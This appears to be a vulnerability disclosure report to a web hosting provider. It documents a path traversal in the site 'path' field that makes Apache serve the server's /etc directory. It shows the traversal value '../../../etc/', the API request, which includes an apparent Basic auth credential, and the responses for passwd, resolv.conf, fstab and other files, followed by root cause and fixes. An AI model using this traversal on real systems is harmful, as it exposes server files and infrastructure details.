|
Task Description
## Summary
The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` — exposing system users, internal DNS infrastructure, storage architecture, and database configuration.
This is completely independent from the `vhost_additional_directives` issue ( FS#347 ). Different field, different root cause, different fix.
## Severity
High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Set the site path to a traversal sequence
Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw== Content-Type: application/json
{
"path": "../../../etc/" } ```
Response: `204 No Content` — accepted without validation.
### Step 2 — Read /etc/passwd (system users)
After ~10 seconds (Apache vhost reload):
```http GET /passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Content-Length: 1764 Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin […34 lines total] ```
Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).
### Step 3 — Read /etc/hostname (internal hostname)
```http GET /hostname HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` http21 ```
Impact: Reveals internal server hostname `http21` — useful for targeting specific infrastructure.
### Step 4 — Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
# Although we have multiple fail-over DNS servers (using dnsdist), # in case everything fails, it's better to return a DNS error # (rather) quickly than to try again for a long time.
options timeout:2 options attempts:1
# dnsdist nameserver ::1
# In case dnsdist is not running, provide default DNS servers. # Only 2 servers, to avoid taking too long to timeout if everything # is down. # Pick one internal server, and one external, in case our internal # server is down. nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes: - Internal domain: `paris1.alwaysdata.com` (datacenter location naming) - Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6) - DNS architecture: dnsdist with failover strategy - Infrastructure comments revealing operational decision-making
### Step 5 — Read /etc/fstab (storage architecture)
```http GET /fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Exposes: - `/home` is XFS on network-attached storage (`_netdev`) — NAS/SAN architecture - Group quotas enabled (`grpquota`) — quota enforcement mechanism - `hidepid=2` on `/proc` — security hardening measure (but bypassed by this LFI) - Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening
### Step 6 — Read /etc/os-release (OS identification)
```http GET /os-release HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" NAME="Debian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=debian ```
### Step 7 — Read /etc/mysql/my.cnf (database configuration)
```http GET /mysql/my.cnf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` [client-server] # port = 3306 socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mariadb.conf.d/ ```
Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.
### Step 8 — Read /etc/crontab (scheduled system tasks)
```http GET /crontab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts –report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.monthly; } ```
### Step 9 — Files that returned 403 (correctly restricted)
File Response Notes —— ———- ——- `/etc/shadow` 403 Forbidden Password hashes — not readable by `www-data` `/etc/ssh/sshd_config` 403 Forbidden SSH config — restricted `/var/log/dpkg.log` 403 Forbidden Package install log — restricted ### Step 10 — Restore the path
Path immediately restored to `www/` after evidence gathering.
## Summary of Exposed Data
File Data Exposed Severity Impact —— ————- —————- `/etc/passwd` 34 system accounts, service architecture Infrastructure mapping `/etc/hostname` Internal hostname `http21` Server identification `/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure `/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture `/etc/os-release` Debian 12 bookworm OS fingerprint `/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure `/etc/crontab` System cron schedule, PATH Scheduled task mapping ## Root Cause
The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.
The backend does not: - Normalize the path (resolve `..` sequences) - Reject paths containing `..` - Verify the resulting absolute path stays within `/home/{account}/` - Reject absolute paths (`"path": "/etc/"` was also accepted)
## Why This Is a Separate Bug from FS#347
Aspect FS#347 (vhost_additional_directives) This bug (path field) ——– ————————————– ———————- API field `vhost_additional_directives` `path` Mechanism Apache `Alias` directive injection Document root traversal Fix scope Directive validation/allowlist Path normalization Independence Fixing `path` does not fix FS#347 Fixing directives does not fix this Complexity Requires Apache directive syntax knowledge Single field change — `../../../etc/` ## Impact
An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:
1. Core platform architecture — internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures 2. Service inventory — dnsdist, munin, MariaDB, OpenSSH versions and configurations 3. Internal network — datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address 4. Database config — MariaDB socket paths and configuration directory structure
This maps directly to the bounty program's High tier: "Accessing customer data/information."
## Suggested Fix
1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected 2. Reject absolute paths: Paths starting with `/` should be rejected 3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/` 4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary
Thanks
|